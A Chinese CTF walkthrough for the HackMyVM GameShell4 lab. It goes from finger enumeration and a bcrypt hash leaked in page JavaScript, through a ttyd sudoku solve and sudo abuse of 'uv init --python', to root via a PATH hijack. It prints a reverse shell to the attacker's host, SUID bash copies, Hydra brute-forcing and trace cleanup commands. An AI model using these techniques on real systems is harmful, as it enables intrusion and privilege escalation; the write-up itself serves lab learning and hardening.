跳到主要内容

HackMyVM GameShell4 通关记录|ttyd 数独、uv fakepy 与 PATH 劫持提权

靶机链接:GameShell4


0x01 基本信息

名称IP
Kali Linux192.168.1.113
GameShell4192.168.1.116

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
Finger 枚举finger <user>@192.168.1.116 枚举 5 个系统用户确定攻击面用户 (root/admin/sdk/xcm/www-data)
Web 收集JS console.log 泄露 bcrypt hash;Gobuster 发现 /sudoku获取 admin 凭据入口
凭证破解hashcat -m 3200 秒破 bcrypt → babylove3SSH admin 初始访问
ttyd 数独WebSocket 交互发送 52 步解答 → SUDOKUISMAGIC获得 xcm 密码线索
xcm 初始访问xcm:sudokuismagic SSH 登录获取 user flag 与 uv sudo 权限
xcm → sdk 方法一(推荐)sudo -u sdk uv init --python /tmp/fakepy.sh不依赖 sdk 登录 shell,可获得 sdk 命令执行、/tmp/sdkbash 或 sdk 反弹 shell
xcm → sdk 方法二(备选)/opt/revive 恢复 sdk shell 后用 uv help + less 逃逸获得 sdk 交互 shell,适合解释 pager 逃逸思路
sdk → rootsdk 免密 sudo livescreen + /usr/local/bin/cbonsai PATH 劫持创建 /tmp/rootshell SUID bash,稳定获取 root

0x02 侦察与信息收集 (Reconnaissance)

1. 全端口扫描

使用 RustScan 联动 Nmap 对靶机进行快速全端口扫描与服务识别:

rustscan -a 192.168.1.116 -- -sV -sC -oN nmap-scan.txt

输出:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
79/tcp open finger OpenBSD fingerd (ported to Linux)
80/tcp open http Apache httpd 2.4.62 (Debian)
MAC Address: 08:00:27:05:8E:15 (Oracle VirtualBox virtual NIC)

分析: Finger 服务 (79/tcp) 在现代系统中极为罕见,值得优先调查。OpenSSH 8.4 和 Apache 2.4.62 是 Debian 11 标准版本,优先从 Finger 信息泄露和 Web 内容入手。

2. Finger 用户枚举

Finger 协议允许远程查询用户信息。利用该服务枚举常见用户名:

for user in root admin user www-data gameshell game shell ctf flag pi kali; do
finger $user@192.168.1.116
done

有效用户列表:

用户名UIDHome 目录Shell
root0/root/bin/bash
admin1004/home/admin/bin/bash
sdk1002/home/sdk/usr/games/cbonsai
xcm1003/home/xcm/bin/bash
www-data33/var/www/usr/sbin/nologin

关键发现:

  • sdk 用户的 shell 是 /usr/games/cbonsai 而非 /bin/bash,这是一款终端 bonsai 树动画程序。这一"游戏壳"设计为本机核心特色,后续会触及。
  • Finger 直接泄露内核版本 Linux 4.19.0-27-amd64 和系统负载信息。

3. Web 目录枚举

gobuster dir -u http://192.168.1.116 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak

发现:

/index.html (200 OK)
/sudoku (401 Unauthorized)
/server-status (403 Forbidden)

/sudoku 返回 401 需要认证,说明存在受保护的 Web 资源。后面会揭示这是一个 Apache 反向代理到 ttyd 的 Web 终端服务。


0x03 漏洞探测与分析 (Vulnerability Analysis)

1. index.html 源码隐藏 admin bcrypt 哈希

访问首页,查看 HTML 源码。页面标题为 "Hidden Server",表面是一个 Canvas 动画,但在 JavaScript paint() 函数中发现了一行 console.log

console.log("admin:$2y$05$yKwD7W0PUqg9EGrSRQP2AegLrBvwLaUDlYEQ859O/ki01I54LnReS");

$2y$05$ 前缀表明这是 PHP 风格的 bcrypt 哈希,cost factor 为 5。该哈希同时出现在 /etc/apache2/.htpasswd 中,但 .htpasswd 只有 admin 一个用户。

2. bcrypt 哈希破解

echo '$2y$05$yKwD7W0PUqg9EGrSRQP2AegLrBvwLaUDlYEQ859O/ki01I54LnReS' > admin-hash.txt
hashcat -m 3200 -a 0 admin-hash.txt /usr/share/wordlists/rockyou.txt --force -O

输出:

$2y$05$yKwD7W0PUqg9EGrSRQP2AegLrBvwLaUDlYEQ859O/ki01I54LnReS:babylove3

约 32 秒即完成破解,密码为 babylove3。cost factor 5 的安全强度明显偏低,使字典攻击极易成功。该凭据同样可用于 SSH 登录:ssh admin@192.168.1.116 输入密码 babylove3 即可成功连接。

3. /sudoku 端点分析

使用破解得到的凭据访问 /sudoku

curl -s -u admin:babylove3 http://192.168.1.116/sudoku/

返回 ttyd HTML 终端页面 (729 KB),Server 头为:

Server: ttyd/1.7.7-40e79c7 (libwebsockets/4.3.3-unknown)

查看 Apache 配置 (/etc/apache2/sites-enabled/000-default.conf):

<Location /sudoku>
AuthType Basic
AuthUserFile /etc/apache2/.htpasswd
Require valid-user
RequestHeader set X-Forwarded-User "%{REMOTE_USER}s"
</Location>
ProxyPass /sudoku ws://127.0.0.1:7681/
ProxyPass /sudoku http://127.0.0.1:7681/

分析:

  • Apache 对 /sudoku 实施 Basic 认证后反向代理到本地 ttyd 服务
  • RequestHeader set X-Forwarded-User 将认证用户名注入代理请求
  • ttyd 在 127.0.0.1:7681 上以 xcm 用户运行,执行 sudoku.sh(数独游戏)
  • mod_proxy_wstunnel 已启用,支持 WebSocket 升级

ttyd 进程信息:

root → /bin/bash /usr/local/bin/start-ttyd.sh
root → sudo -u xcm ttyd -i 127.0.0.1 -p 7681 -H X-Forwarded-User -W sudoku.sh
xcm → ttyd -i 127.0.0.1 -p 7681 -H X-Forwarded-User -W sudoku.sh

0x04 核心攻击链一:admin 初始访问与本地枚举

1. SSH 登录 admin

sshpass -p 'babylove3' ssh admin@192.168.1.116
uid=1004(admin) gid=1004(admin) groups=1004(admin)

admin 用户无 sudo 权限,home 目录几乎为空。它的主要价值是用于本地枚举,确认后续攻击链涉及的组件与权限设计。

2. 关键本地发现

ls -la /opt/revive
file /opt/revive
ps aux | grep ttyd
cat /etc/apache2/sites-enabled/000-default.conf
-rwsr-sr-x 1 root root 17560 Aug 16 2019 /opt/revive
/opt/revive: setuid, setgid ELF 64-bit LSB pie executable, x86-64, not stripped

本地枚举确认了两条后续路线:

  • /sudoku 由 Apache 反向代理到本地 ttyd,以 xcm 用户运行数独游戏,解开后可以获得 xcm 密码线索。
  • /opt/revive 是 SUID root 二进制,会在满足条件时把 sdk shell 从 /usr/games/cbonsai 改为 /bin/bash。这不是主线必需步骤,后文作为 备选路线 单独说明。

主线采用 xcmuv init --python 权限直接获得 sdk 命令执行,并可按需拉起 sdk shell,不依赖修改 sdk 登录 shell。


0x05 核心攻击链二:ttyd 数独求解获取 xcm 凭据

1. ttyd 通信协议分析

ttyd 1.7.7 通过 WebSocket 承载终端 I/O,但其协议不是标准 VT100 裸流,而是带有前缀字节的自定义二进制帧格式。直接使用 wscatwebsocat 发送原始文本不会得到任何回显——这也是早期尝试中反复超时的原因。正确的协议如下:

WebSocket 连接参数:

参数说明
URLws://192.168.1.116/sudoku/ws通过 Apache 反向代理
认证Authorization: Basic <base64>admin:babylove3
子协议tty必须声明,否则 ttyd 不启动终端
初始化帧{"AuthToken":"","columns":120,"rows":40}BINARY opcode,告知终端尺寸
stdin 帧格式ASCII 0 (0x30) + 文本内容命令字 b"0" 表示 stdin 数据
stdout 帧格式ASCII 0 (0x30) + 文本内容服务器返回 b"0" 表示终端输出
元数据帧ASCII 1 / 2b"1" 为窗口标题,b"2" 为 JSON 元数据

踩坑记录: 早期尝试了 raw socket、Python websocket-client 库(未声明子协议)、websocat(不支持 tty 子协议),均能完成 WebSocket 升级(101 响应)、正确回复 PING/PONG,但终端进程始终不启动——服务器只发 PING 不发 stdout,连接存活数分钟后超时断开。根因是缺少 subprotocols=["tty"] 声明。

2. ttyd_client.py 脚本说明

脚本 ttyd_client.py 封装了 ttyd 协议交互,负责连接、初始化、发送用户输入、接收并解析终端输出。脚本见附件。

命令行参数:

--url WebSocket 地址 (默认 ws://192.168.1.116/sudoku/ws)
--user Basic Auth 用户名 (默认 admin)
--password Basic Auth 密码 (默认 babylove3)
--cols/--rows 终端尺寸 (默认 120×40)
--seconds 采集超时秒数 (默认 8)
--send 单条输入内容 (可多次使用)
--send-file 从文件读取逐行输入
--send-delay 发送前等待秒数

核心逻辑(关键代码片段):

# 1. 建立连接,必须声明 tty 子协议
ws = websocket.create_connection(
args.url,
subprotocols=["tty"],
header=[f"Authorization: Basic {auth}"],
)

# 2. 发送初始化帧(BINARY 帧)
init = json.dumps({"AuthToken": "", "columns": args.cols, "rows": args.rows})
ws.send(init, opcode=websocket.ABNF.OPCODE_BINARY)

# 3. 发送每条 stdin 输入,前缀为 ASCII "0" (0x30)
for s in send_items:
payload = b"0" + s.encode()
ws.send(payload, opcode=websocket.ABNF.OPCODE_BINARY)

# 4. 接收循环:cmd=b"0" 为终端输出,cmd=b"1"/b"2" 为元数据
while time.time() < end:
frame = ws.recv_frame()
if frame.opcode == websocket.ABNF.OPCODE_PING:
ws.pong(frame.data) # 维持心跳
continue
cmd, body = frame.data[:1], frame.data[1:]
if cmd == b"0":
raw_out += body # 终端 stdout
elif cmd in (b"1", b"2"):
print(body.decode()) # 标题 / 元数据

注意: ttyd 前端源码中 f.INPUT = "0",脚本里的 b"0" 是正确的协议命令字(ASCII 0 / 0x30),不是 NUL 字节 b"\x00"。如果只发送裸文本或漏掉 tty 子协议,连接可能保持存活但不会启动终端输出。

3. moves.txt 数独解答序列

文件 moves.txt 包含 52 行 3 位数字,对应数独游戏的逐步解答。游戏界面提示输入格式为:

Enter your next move: <3-digit number>
The 1st digit is the row
The 2nd digit is the column
The 3rd digit is the value you want to set

moves.txt 内容(前 10 行):

122
133
141
159
168
176
239
245
254
272
...(共 52 行)

这些步骤在游戏中逐行输入后,数独盘面从初始状态逐步填充直至完全解开。

AI 辅助说明: moves.txt 的 52 步解答序列由 AI 辅助生成:先从 ttyd 终端输出中提取初始数独盘面,再还原为标准 9×9 矩阵求解,并按游戏要求转换为 行 + 列 + 值 的输入序列。生成后的 moves.txt 已通过靶机 /sudoku 实际提交验证,最终回显 GAME COMPLETED!SUDOKUISMAGIC

4. 执行命令与回显

cd /home/kali/wp/Gameshell4
python3 ttyd_client.py --send-delay 0.5 --send-file moves.txt --seconds 30

stderr 日志(帧收发摘要):

[+] connected subprotocol='tty'
[.] frame opcode=2 cmd=b'1' len=22 # 窗口标题
sudoku.sh (GameShell4)
[.] frame opcode=2 cmd=b'2' len=3 # JSON 元数据
{ }
[.] frame opcode=2 cmd=b'0' len=995 # 初始盘面(stdout)
[.] frame opcode=2 cmd=b'0' len=2
[.] frame opcode=2 cmd=b'0' len=17
...(52 步逐步回显)...

stdout(stripped,最终完成画面):

-------------------------
| 5 2 3 | 1 9 8 | 6 7 4 |
| 6 1 9 | 5 4 7 | 2 8 3 |
| 7 4 8 | 6 2 3 | 9 5 1 |
-------------------------
| 8 5 2 | 3 1 9 | 7 4 6 |
| 1 3 7 | 8 6 4 | 5 2 9 |
| 9 6 4 | 7 5 2 | 3 1 8 |
-------------------------
| 2 7 1 | 9 8 6 | 4 3 5 |
| 4 9 5 | 2 3 1 | 8 6 7 |
| 3 8 6 | 4 7 5 | 1 9 2 |
-------------------------

GAME COMPLETED!
SUDOKUISMAGIC

收获: 字符串 SUDOKUISMAGIC 即为 xcm 用户密码的原始形态。经大小写变体测试后确认有效密码为全小写形式 sudokuismagic

5. Hydra SSH 穷举验证

已知 admin 密码,无需对其重复穷举。只对 sdk、xcm、root 三个用户进行测试:

# 用户列表(排除已知凭据的 admin)
cat > results/users.txt << EOF
sdk
xcm
root
EOF

# 密码变体字典(以 SUDOKUISMAGIC 的大小写变体为主)
cat > results/passwords.txt << EOF
sudokuismagic
Sudokuismagic
SudokuIsMagic
SUDOKUISMAGIC
sudokuIsMagic
SudokuIsmagic
sudoku_is_magic
sudoku
magic
...
EOF

hydra -L results/users.txt -P results/passwords.txt -t 4 -f ssh://192.168.1.116
[22][ssh] host: 192.168.1.116 login: xcm password: sudokuismagic

分析: Hydra 的 -f 参数使它在发现第一对有效凭据后立即退出。admin 已从用户列表中移除,因此直接命中 xcm:sudokuismagic。最终密码恰好是全小写变体,与数独游戏输出的 SUDOKUISMAGIC 只存在大小写差异。

6. SSH 登录 xcm 获取 User Flag

sshpass -p 'sudokuismagic' ssh xcm@192.168.1.116
cat /home/xcm/user.txt

User Flag:

flag{user-602d9cd809f3b29eae8bc042bdf6c1ca}

0x06 横向移动:xcm → sdk(方法一 / 方法二)

xcmsdk 的本质路径只有一条:利用 xcm 的 sudo 规则,以 sdk 身份执行 uv。区别在于获取 sdk 权限上下文的方式不同:

  • 方法一(推荐): uv init --python fakepy,直接获得 sdk 命令执行;如果需要交互,也可以通过 fakepy 拉起 sdk shell,不依赖 sdk 登录 shell。
  • 方法二(备选): /opt/revive 先把 sdk 登录 shell 从 cbonsai 恢复为 bash,再通过 uv help 触发 less,使用 !/bin/bash 获得 sdk 交互 shell。

后续 sdk → root 的提权逻辑两条路线完全一致:都利用 sdk 对 /usr/local/bin/livescreen 的免密 sudo 权限和 PATH 劫持。

1. 共同前提:xcm sudo 权限

sudo -l
User xcm may run the following commands on GameShell4:
(sdk) NOPASSWD: /usr/local/bin/uv init *, /usr/local/bin/uv help *

这说明 xcm 可以在不输入密码的情况下以 sdk 身份执行两类命令:

  • uv init *
  • uv help *

因此下面两种方法都属于同一段横向路径:

xcm → sdk

2. 方法一(推荐):uv init --python fakepy

uv init 会检查 --python 指定的解释器路径。如果把该参数指向一个可执行脚本,脚本会在 sdk 上下文中被调用。

该方法不需要修改 sdk 的登录 shell。即使 /etc/passwd 中 sdk 仍为 /usr/games/cbonsai,fakepy 仍然可以正常执行 sdk 命令;如果把 fakepy 中的动作换成本地 SUID bash 或反弹 shell,也可以得到 sdk 权限上下文。

2.1 最小 PoC:确认 fakepy 以 sdk 身份运行

从 xcm shell 中执行:

cat > /tmp/fakepy.sh << 'EOF'
#!/bin/sh
id > /tmp/sdk_out.txt 2>&1
/usr/bin/python3 "$@" 2>/dev/null || true
EOF
chmod +x /tmp/fakepy.sh

cd /tmp
rm -rf /tmp/uvproj
sudo -n -u sdk /usr/local/bin/uv init /tmp/uvproj --python /tmp/fakepy.sh --bare --no-workspace
cat /tmp/sdk_out.txt

输出:

Initialized project `uvproj` at `/tmp/uvproj`
uid=1002(sdk) gid=1002(sdk) groups=1002(sdk)

此时再次查看 /etc/passwd,sdk 的登录 shell 仍然可以保持为 /usr/games/cbonsai

sdk:x:1002:1002::/home/sdk:/usr/games/cbonsai

分析: uv init 尝试使用 /tmp/fakepy.sh 作为 Python 解释器进行探测,fakepy 在探测过程中已经以 sdk 身份执行。最后调用 /usr/bin/python3 "$@" 2>/dev/null || true 是为了让 uv 的解释器检测尽量正常完成;使用绝对路径避免 sdk 的 PATH 差异,追加 || true 则避免 Python 探测失败时影响前面 payload 的执行结果。

2.2 用 fakepy 执行 sdk 命令

把 fakepy 中的 id 替换成任意命令即可获得 sdk 上下文的命令执行。例如检查 sdk 的 sudo 权限:

cat > /tmp/fakepy.sh << 'EOF'
#!/bin/sh
{
id
whoami
sudo -n -l
} > /tmp/sdk_out.txt 2>&1
/usr/bin/python3 "$@" 2>/dev/null || true
EOF
chmod +x /tmp/fakepy.sh

cd /tmp
rm -rf /tmp/uvcheck
sudo -n -u sdk /usr/local/bin/uv init /tmp/uvcheck --python /tmp/fakepy.sh --bare --no-workspace
cat /tmp/sdk_out.txt
uid=1002(sdk) gid=1002(sdk) groups=1002(sdk)
sdk
User sdk may run the following commands on GameShell4:
(ALL) NOPASSWD: /usr/local/bin/livescreen

至此已经具备 sdk 命令执行能力。后续不需要写 SSH 公钥,也不需要建立持久化登录,直接用 fakepy 完成 root 提权准备即可。

2.3 可选:通过 fakepy 生成 /tmp/sdkbash

除了 one-shot 命令执行,fakepy 也可以复制一个由 sdk 拥有的 SUID bash 到 /tmp/sdkbash

cat > /tmp/fakepy_sdkbash.sh << 'EOF'
#!/bin/sh
/bin/rm -f /tmp/sdkbash /tmp/sdkbash.out
/bin/cp /bin/bash /tmp/sdkbash
/bin/chmod 4755 /tmp/sdkbash
/bin/ls -l /tmp/sdkbash > /tmp/sdkbash.out 2>&1
/usr/bin/python3 "$@" 2>/dev/null || true
EOF
chmod +x /tmp/fakepy_sdkbash.sh

cd /tmp
rm -rf /tmp/uvsdkbash
sudo -n -u sdk /usr/local/bin/uv init /tmp/uvsdkbash --python /tmp/fakepy_sdkbash.sh --bare --no-workspace
cat /tmp/sdkbash.out

生成后权限应类似:

-rwsr-xr-x 1 sdk sdk ... /tmp/sdkbash

运行时需要使用 -p,让 bash 保留 SUID 权限:

/tmp/sdkbash -p -c "id; whoami"

预期效果:

uid=1003(xcm) gid=1003(xcm) euid=1002(sdk) groups=1003(xcm)
sdk

这里的关键点是 euid=1002(sdk),说明当前 shell 具备 sdk 的有效权限。不加 -p 时,bash 可能会主动丢弃 SUID 权限并退回 xcm。

/tmp/sdkbash -p 不完全等价于正常的 sdk 登录会话:它通常是 real uid = xcmeffective uid = sdk。因此若后续要稳定使用 sdk 的 sudo 规则,仍推荐直接在 fakepy 中执行目标命令,或者使用下面的反弹 shell 方式获得更接近真实会话的 sdk shell。

2.4 可选:通过 fakepy 获取 sdk 反弹 shell

如果希望像方法二一样得到交互式 sdk shell,也可以让 fakepy 拉起反弹 shell。Kali 侧先监听:

nc -lvnp 4444

xcm shell 中执行:

cat > /tmp/fakepy_shell.sh << 'EOF'
#!/bin/sh
/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.113/4444 0>&1' &
/usr/bin/python3 "$@" 2>/dev/null || true
EOF
chmod +x /tmp/fakepy_shell.sh

cd /tmp
rm -rf /tmp/uvshell
sudo -n -u sdk /usr/local/bin/uv init /tmp/uvshell --python /tmp/fakepy_shell.sh --bare --no-workspace

监听端收到连接后确认身份:

sdk@GameShell4:/tmp$ id
uid=1002(sdk) gid=1002(sdk) groups=1002(sdk)

因此方法一既可以作为“sdk 命令执行”使用,也可以扩展为“sdk shell”。本报告主线为了减少交互依赖,后续仍直接通过 fakepy 完成 sdk → root


3. 方法二(备选):/opt/revive + uv help pager 逃逸

方法二同样是 xcm → sdk,只是先借助 /opt/revive 解决 sdk 登录 shell 被设置为游戏壳的问题,再利用 uv help 触发分页器逃逸。

3.1 /opt/revive SUID 二进制分析与利用

ls -la /opt/revive
file /opt/revive
strings /opt/revive
-rwsr-sr-x 1 root root 17560 Aug 16 2019 /opt/revive
/opt/revive: setuid, setgid ELF 64-bit LSB pie executable, x86-64, not stripped
/dev/pts/99
[+] %s found! Updating sdk shell...
/etc/passwd
sdk:x:1002:1002::/home/sdk:/usr/games/cbonsai
sdk:x:1002:1002::/home/sdk:/bin/bash
[-] Need root SUID privilege!

逻辑还原: 该 SUID root 二进制检查 /dev/pts/99 是否存在,若存在则修改 /etc/passwdsdk 的 shell 从 /usr/games/cbonsai 改为 /bin/bash

利用 Python pty.openpty() 消耗 PTY 编号,使第 99 个 PTY 恰好映射到 /dev/pts/99

import os, pty, subprocess

fds = []
for i in range(160):
master, slave = pty.openpty()
fds.append((master, slave))
if os.ttyname(slave) == '/dev/pts/99':
break

subprocess.run(['/opt/revive'])
subprocess.run(['grep', '^sdk:', '/etc/passwd'])

结果:

[+] /dev/pts/99 found! Updating sdk shell...
[+] Success! sdk shell updated to /bin/bash
sdk:x:1002:1002::/home/sdk:/bin/bash

注意:这一步只是恢复 sdk 的登录 shell,并不等于已经拿到 sdk 会话或 sdk 密码。

3.2 uv help pager 逃逸获得 sdk shell

uv help init 输出较长内容时触发 less 分页器,可利用 pager 逃逸获得 sdk shell。

这里需要先切到 /tmp 再执行。若直接在 /home/xcm 下运行,uv 会尝试读取当前目录的 uv.toml,而 sdk 对 /home/xcm 无访问权限,实测会报:

error: failed to open file `/home/xcm/uv.toml`: Permission denied (os error 13)

正确执行方式:

cd /tmp
sudo -n -u sdk /usr/local/bin/uv help init

less 中输入:

!/bin/bash

成功后:

sdk@GameShell4:/tmp$ id
uid=1002(sdk) gid=1002(sdk) groups=1002(sdk)

如果跳过 /opt/revive,sdk 的登录 shell 仍为 /usr/games/cbonsai,此时 less 的 shell escape 会落到 cbonsai 游戏壳,无法得到正常 bash。

因此方法二的定位是:提供一条可交互的 xcm → sdk 备选路线;进入 sdk 后仍然复用下一节的 sdk → root 提权方式。


0x07 权限提升:sdk → root(livescreen PATH 劫持 + rootshell)

无论 xcm → sdk 采用方法一还是方法二,进入 sdk 权限上下文后,root 提权都依赖同一个问题:sdk 可以免密 sudo 执行 /usr/local/bin/livescreen,而该脚本内部调用 cbonsai 时没有使用绝对路径。

1. sdk sudo 权限

sudo -n -l
User sdk may run the following commands on GameShell4:
(ALL) NOPASSWD: /usr/local/bin/livescreen

2. livescreen 脚本分析

cat /usr/local/bin/livescreen
#!/bin/bash
cbonsai -i -l

脚本仅一行:调用 cbonsai -i -l 启动终端 bonsai 树动画。调用时未使用绝对路径

3. PATH 劫持条件检查

sudo --version # Sudo version 1.9.5p2
sudo -l # secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

for d in /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin /usr/games; do
[ -w "$d" ] && echo "WRITABLE: $d"
done
WRITABLE: /usr/local/bin

进一步查看目录权限与 ACL:

ls -ld /usr/local/bin
getfacl -p /usr/local/bin
drwxrwxr-x+ 2 root root 4096 Jul 5 10:35 /usr/local/bin
# file: /usr/local/bin
# owner: root
# group: root
user::rwx
user:sdk:rwx
group::r-x
mask::rwx
other::r-x

关键发现:

  • sdk 对 /usr/local/bin 的写入权限来自 ACL 条目 user:sdk:rwx,不是传统 Unix 组权限
  • sudo 的 secure_path/usr/local/bin 排在 /usr/games 前面
  • 真实 cbonsai 位于 /usr/games/cbonsai
  • livescreen 调用 cbonsai 时不含绝对路径

三个条件叠加,构成经典的 PATH 劫持场景。

防守侧如果要修复这一点,除了修改 livescreen 使用绝对路径外,也应移除 sdk 对该目录的 ACL 写权限,例如:

setfacl -x user:sdk /usr/local/bin

4. 稳定提权:创建 /tmp/rootshell

为了避免依赖交互式 root shell,这里采用更稳的 SUID bash 方法:在 sdk 权限下写入 /usr/local/bin/cbonsai,再执行 sdk 的免密 sudo 命令 /usr/local/bin/livescreenlivescreen 会以 root 身份调用被劫持的 cbonsai,从而创建 /tmp/rootshell

4.1 通过方法一的 fakepy 执行(推荐主线)

如果前面使用方法一获得的是 sdk 命令执行,可以继续从 xcm shell 中用 fakepy 完成整段提权:

cat > /tmp/fakepy_root.sh << 'EOF'
#!/bin/sh
# 外层 EOF 使用单引号,所以下面的内层 heredoc 不会被本地 shell 展开;
# 这里实际写入的是稍后会被 root 通过 livescreen 执行的 /usr/local/bin/cbonsai。
cat > /usr/local/bin/cbonsai << 'X'
#!/bin/bash
/bin/cp /bin/bash /tmp/rootshell
/bin/chmod 4755 /tmp/rootshell
X
chmod +x /usr/local/bin/cbonsai
sudo -n /usr/local/bin/livescreen >/tmp/livescreen.log 2>&1
/usr/bin/python3 "$@" 2>/dev/null || true
EOF
chmod +x /tmp/fakepy_root.sh

cd /tmp
rm -rf /tmp/uvroot
sudo -n -u sdk /usr/local/bin/uv init /tmp/uvroot --python /tmp/fakepy_root.sh --bare --no-workspace

执行逻辑如下:

  1. xcm 通过 sudo 运行 uv init
  2. uv initsdk 身份调用 /tmp/fakepy_root.sh
  3. fakepy 写入 /usr/local/bin/cbonsai
  4. fakepy 内部以 sdk 身份执行 sudo -n /usr/local/bin/livescreen
  5. root 执行 livescreen,并从 secure_path 前面的 /usr/local/bin 命中恶意 cbonsai
  6. 恶意 cbonsai 复制 /bin/bash/tmp/rootshell 并设置 SUID 位。

4.2 通过 sdk 交互 shell 执行(方法一 / 方法二均可)

如果前面通过方法一的 fakepy 反弹 shell,或通过方法二的 uv help pager escape 拿到 sdk 交互 shell,也可以直接在 sdk shell 中执行同样的 PATH 劫持操作:

cat > /usr/local/bin/cbonsai << 'EOF'
#!/bin/bash
/bin/cp /bin/bash /tmp/rootshell
/bin/chmod 4755 /tmp/rootshell
EOF
chmod +x /usr/local/bin/cbonsai
sudo -n /usr/local/bin/livescreen >/tmp/livescreen.log 2>&1

这与方法一中的 fakepy_root 本质相同,只是执行入口从“非交互 sdk 命令执行”变成了“sdk 交互 shell”。

5. 获取 Root Flag

/tmp/rootshell -p -c "id; whoami; cat /root/root.txt; cat /root/flag*"

输出:

uid=1003(xcm) gid=1003(xcm) euid=0(root) groups=1003(xcm)
root
flag{root-983b0f2b5412aadd94ed08f249355686}

euid=0(root) 确认提权成功,-p 参数使 bash 保留 SUID 权限。

6. 清理痕迹

/tmp/rootshell -p -c "rm -f /usr/local/bin/cbonsai /tmp/rootshell /tmp/livescreen.log /tmp/sdk_out.txt /tmp/sdkbash /tmp/sdkbash.out /tmp/fakepy.sh /tmp/fakepy_sdkbash.sh /tmp/fakepy_shell.sh /tmp/fakepy_root.sh; rm -rf /tmp/uvproj /tmp/uvcheck /tmp/uvsdkbash /tmp/uvshell /tmp/uvroot"

0x08 最终成果 (Final Flags)

User Flag

  • 路径: /home/xcm/user.txt
  • 内容: flag{user-602d9cd809f3b29eae8bc042bdf6c1ca}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-983b0f2b5412aadd94ed08f249355686}

凭据汇总

类型用户 / 目标来源
Web / SSH 密码adminbabylove3index.html 泄露 bcrypt,rockyou 破解
SSH 密码xcmsudokuismagic/sudoku 数独完成输出 SUDOKUISMAGIC 后转小写
xcm → sdk 方法一sdk 命令执行 / shellsudo -u sdk /usr/local/bin/uv init --python fakepy推荐主线;不依赖 sdk 登录 shell,可生成 /tmp/sdkbash 或按需拉起反弹 shell
xcm → sdk 方法二sdk 交互 shell/opt/revive + uv help less escape备选路线;需要先把 sdk shell 从 cbonsai 改为 bash
sdk → rootrootsudo /usr/local/bin/livescreen + PATH 劫持 + /tmp/rootshellsdk 可写 /usr/local/bin,且 livescreen 未使用绝对路径

复盘总结

GameShell4 的攻击链以"游戏 Shell"为主题贯穿始终:

  1. Finger 协议的价值被低估。 现代系统中几乎绝迹的 Finger 服务在此提供了完整的用户清单、shell 类型和内核版本,直接揭示了用户"游戏壳"机制。

  2. 前端不是放秘密的地方。 console.log 中直接打印 bcrypt 哈希等同于明文泄露。cost factor 仅为 5 的 bcrypt 在 rockyou 字典面前瞬间被破。

  3. ttyd 的 WebSocket 协议要求精确实现。 子协议声明、prefix-byte 格式、AuthToken JSON 初始化的任意一点偏差都会导致无声失败。使用浏览器的开发者工具更容易观察到正确的协议行为。

  4. 数独游戏作为密码线索。 52 步固定解答序列表明游戏本身是自动化工具生成的,完成后直接输出 xcm 密码 sudokuismagic

  5. xcm → sdk 有两种实现方式。 推荐主线是 uv init --python fakepy,它会调用指定解释器进行探测,把解释器指向 fakepy 脚本即可在 sdk 上下文中执行命令;也可以让 fakepy 生成 /tmp/sdkbash,或把动作换成反弹 shell 来获得 sdk shell。备选路线是 /opt/revive 修复 sdk shell 后,通过 uv help 触发 less escape 获得 sdk 交互 shell。

  6. 两条横向路线最终都汇入 sdk → root。 /opt/revive 不是 root 提权点,它只服务于方法二的 sdk shell 获取;真正的 root 提权点是 sdk 对 /usr/local/bin/livescreen 的免密 sudo 权限。

  7. secure_path 不能替代目录权限管理。 sdk 对 /usr/local/bin 的写入权限来自 ACL 条目 user:sdk:rwx,这意味着可以劫持 secure_path 中排在前面的任何未使用绝对路径的命令。

  8. 从防守方视角看,需要加固的点包括: 关闭不需要的 Finger 服务、不在前端源码中放置凭证材料、使用足够高的 bcrypt cost factor、限制 xcm 的 uv init --python sudo 权限、移除 /usr/local/bin 上的 user:sdk:rwx ACL(如 setfacl -x user:sdk /usr/local/bin)、所有脚本调用系统命令使用绝对路径。livescreencbonsai 调用改为 /usr/games/cbonsai 即可阻断 PATH 劫持。


附件下载

复现本文攻击链所需的关键脚本和字典文件已整理如下:

文件说明
ttyd_client.pyttyd WebSocket 客户端,声明 tty 子协议,发送 AuthToken 初始化帧并以 ASCII 0 (0x30) 命令字交互终端 I/O
moves.txtAI 辅助生成并经靶机验证的数独 52 步解答序列,每行 3 位数字(行 + 列 + 值),由 ttyd_client.py --send-file 逐行输入

完整脚本与数独输入序列以附件形式提供,正文不再重复粘贴完整源码。

快速使用:

python3 ttyd_client.py --send-delay 0.5 --send-file moves.txt --seconds 30

其中 moves.txt 每行格式为 行 + 列 + 值,例如 122 表示在第 1 行第 2 列填入数字 2。